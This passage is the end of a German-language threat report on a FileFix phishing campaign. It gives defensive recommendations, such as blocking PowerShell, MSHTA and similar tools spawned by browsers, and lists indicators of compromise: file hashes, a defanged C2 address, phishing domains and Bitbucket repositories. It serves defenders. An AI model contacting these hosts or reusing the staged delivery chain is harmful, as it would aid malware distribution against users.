Dies zeigt, dass die Infrastruktur ständig weiterentwickelt wird, um den Einsatz von FileFix (und dem dazugehörigen zweistufigen Skript) zu optimieren. Gleichzeitig soll die Infrastruktur flexibel genug bleiben, um beliebige Payloads in die Maschinen der Opfer einschleusen zu können. Wir werden versuchen, diese Bedrohung weiter zu verfolgen, um in Zukunft mehr darüber zu erfahren.

Eine Untersuchung von Dateien und Phishing-Websites, die im Zusammenhang mit diesem Angriff bei VirusTotal (VT) eingereicht wurden, deutet darauf hin, dass die Kampagne nicht auf ein Land bzw. eine Region beschränkt ist. Obwohl diese Erkenntnis längst nicht endgültig ist, können wir festhalten, dass entsprechende Samples und Phishing-Websites aus den USA, Bangladesch, den Philippinen, Tunesien, Nepal, der Dominikanischen Republik, Serbien, Peru, China, Deutschland und anderen Ländern an VT eingereicht werden. Dies sowie die verschiedenen Sprachen, in denen die Phishing-Website übersetzt wurde, vermitteln den Eindruck, dass die Angriffe weltweit durchgeführt werden sollen.

Ebenso ist die Identität des/der Angreifer(s) schwer zu ermitteln. Wir konnten feststellen, dass sich die wichtigste C2-Adresse (77[.]90[.]153[.]225) in Deutschland befindet. Diese Tatsache allein reicht jedoch nicht aus, um die Identität oder den Standort der Angreifer genauer zu bestimmen. Die verwendeten Techniken sowie die Komplexität der Payload-Übermittlung (die mehrere Stufen sowie Steganografie-, Verschleierungs- und Verschlüsselungstechniken umfasst) deuten auf erfahrene und gut organisierte Angreifer hin.

Wir haben bereits gesehen, wie ClickFix sich von einem einfachen Machbarkeitsnachweis zu einem im Umlauf befindlichen Angriff entwickelt und in den letzten Monaten an Popularität gewonnen hat. Jetzt sehen wir denselben Trend bei FileFix: vom Machbarkeitsnachweis bis zur Kampagne in nur zwei Monaten! Darüber hinaus werden die Angriffe auf sehr raffinierte Weise durchgeführt, mit einer Vielzahl von Verschleierungs- und Anti-Analyse-Techniken, die dafür sorgen sollen, dass die Angriffe möglichst unbemerkt bleiben und eine maximale Schlagkraft haben.

Während wir die Kampagne weiterhin beobachten, werden wir auch nach Entwicklungen in der Angriffsinfrastruktur, Methodik und bei den Payloads suchen. Und versuchen, die Identität der Angreifer einzugrenzen. Dieser Angriff und die clevere Nutzung von FileFix lassen uns darüber nachdenken, wie sich die Verwendung von FileFix in Zukunft entwickeln wird und ob es ClickFix als Angriffstechnik ersetzen oder übertreffen wird. Bis dahin werden wir die Kampagne und ähnliche Angriffe weiterhin verfolgen und Empfehlungen bereitstellen, um Sicherheitsteams bei der Abwehr zu unterstützen.

Acronis XDR-Kunden sind vor dem Angriff geschützt. Acronis XDR kann den Angriff erkennen – und zwar sowohl in dem Moment, in dem die PowerShell-Payload ausgeführt wird, als auch in dem Moment, in dem die ausführbare Payload-Datei gestartet wird.

Was den Umgang mit diesem Angriff und insbesondere mit FileFix angeht, gibt es zwei wichtige Empfehlungen.

Die erste Empfehlung betrifft Schulungen. In den letzten Jahren sind die Benutzer:innen zunehmend auf Phishing-Angriffe aufmerksam geworden, insbesondere bei Angriffen, die mithilfe angehängter Dokumente durchgeführt werden. Damit *Fix-Angriffe nicht zu einem blinden Fleck im Sicherheitsbewusstsein der Benutzer:innen werden, müssen wir sie über diese Angriffsarten besser aufklären und die verwendeten Techniken in Unternehmensschulungen zu Phishing-Angriffen behandeln. Dadurch sollten Benutzer:innen zumindest kurz innehalten, bevor sie solche Anweisungen ausführen. Die Schulung sollte sich insbesondere auf die Verwendung der Zwischenablage konzentrieren. Denn diese wird bei *Fix-Angriffen häufig missbraucht. Außerdem sollten die Benutzer:innen gewarnt werden, wenn sie von einer Website aufgefordert werden, etwas in irgendeiner Komponente/Funktionalität ihres Betriebssystems über die Zwischenablage einzufügen.

Die zweite Empfehlung besteht darin, den Ausführungspfad dieses Angriffs zu blockieren. Sicherheitsteams sollten darauf achten und möglichst verhindern, dass Komponenten wie die PowerShell, Eingabeaufforderung (CMD), MSIEXEC oder MSHTA auf der Maschine als untergeordneter Prozess eines Webbrowsers ausgeführt werden. Diese Maßnahme sollte den normalen Geschäftsbetrieb nicht allzu sehr beeinträchtigen, können jedoch die Ausführung solcher Angriffe verhindern.

Eine weitere mögliche Präventionstechnik könnte darin bestehen, alle Vorgänge, bei denen Bilder über einen PowerShell-Befehl heruntergeladen werden, gezielt zu blockieren. Wenn das Herunterladen des schädlichen Bildes verhindert oder das Bild schnell genug unter Quarantäne gestellt werden kann, würden diese Angriffe ebenfalls gestoppt werden, bevor die Payload freigesetzt wird.

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

77[.]90[.]153[.]225

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW